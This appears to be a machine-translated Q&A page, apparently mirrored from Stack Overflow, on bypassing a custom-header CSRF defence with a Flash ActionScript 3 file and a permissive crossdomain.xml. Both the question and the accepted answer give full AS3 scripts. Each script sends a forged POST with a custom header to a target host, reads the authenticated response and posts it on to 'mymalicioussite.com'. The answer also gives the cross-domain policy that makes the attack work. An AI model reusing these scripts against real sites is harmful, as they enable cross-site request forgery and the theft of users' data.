通过弱 CrossDomain.xml 使用 ActionScript 绕过 CSRF
Posted
技术标签:
【中文标题】通过弱 CrossDomain.xml 使用 ActionScript 绕过 CSRF【英文标题】:CSRF Bypass using ActionScript via weak CrossDomain.xml 【发布时间】:2017-08-18 22:30:37 【问题描述】:我有一个具有弱 CrossDomain.xml 的目标,但它可以防止 CSRF 攻击查看自定义 HTTP 标头之一。我在几个网站上发现了以下动作脚本,除了没有设置标题之外,它运行良好。
此操作脚本向“Target.htm”发送一个 POST 请求,我需要它来设置任何自定义标头,例如 Test-Header:
package
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;
public class FlashTest extends Sprite
public function FlashTest()
// write as3 code here..
//Target URL
var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
var readFrom:String = "http://192.168.100.4/Target.htm";
var readRequest:URLRequest = new URLRequest(readFrom);
readRequest.data = "ThisDoesNotMatter"
readRequest.method = URLRequestMethod.POST
readRequest.requestHeaders.push(header);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try
getLoader.load(readRequest);
catch(error:Error)
private function eventHandler(event:Event):void
var sendTO:String = "http://mymalicioussite.com";
var sendRequest:URLRequest = new URLRequest(sendTO);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try
sendLoader.load(sendRequest);
catch(error:Error)
目标上的CrossDomain.XML:
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="true" />
</cross-domain-policy>
任何帮助将不胜感激。 带有 GET 请求而不是 POST 的工作代码也可以作为目标同时接受 GET 和 POST 请求。据我所知,仅允许使用 POST 请求设置自定义标头,但带有任何标准 HTTP 标头的 GET 请求至少现在对我有用。
【问题讨论】:
【参考方案1】:在执行了一些测试之后,我能够修改上述脚本以设置任何自定义标头(浏览器不允许的 Referer 和 User-Agent 标头除外):
另外,这仅在目标和攻击机器应具有以下 crossdomain.xml 时才有效:
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-
domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>
这是对我有用的 AS3 脚本:
package
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;
public class FlashTest extends Sprite
public function FlashTest()
// write as3 code here..
//Set Header
var headers:Array = [new URLRequestHeader("TestHeader", "Test123")];
//Target URL
var readFrom:String = "http://192.168.253.133/Target.htm";
var readRequest:URLRequest = new URLRequest(readFrom);
readRequest.requestHeaders = headers;
readRequest.data = "ThisDoesNotMatter" //POST data
readRequest.method = URLRequestMethod.POST
//readRequest.requestHeaders.push();
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try
getLoader.load(readRequest);
catch(error:Error)
private function eventHandler(event:Event):void
var sendTO:String = "http://mymalicioussite.com";
var sendRequest:URLRequest = new URLRequest(sendTO);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try
sendLoader.load(sendRequest);
catch(error:Error)
//package
【讨论】:
以上是关于通过弱 CrossDomain.xml 使用 ActionScript 绕过 CSRF的主要内容,如果未能解决你的问题,请参考以下文章
Amazon S3 crossdomain.xml 始终显示 403 Forbidden
由于缺少 crossdomain.xml,无法获取个人资料图片
Rejected because no crossdomain.xml policy file was found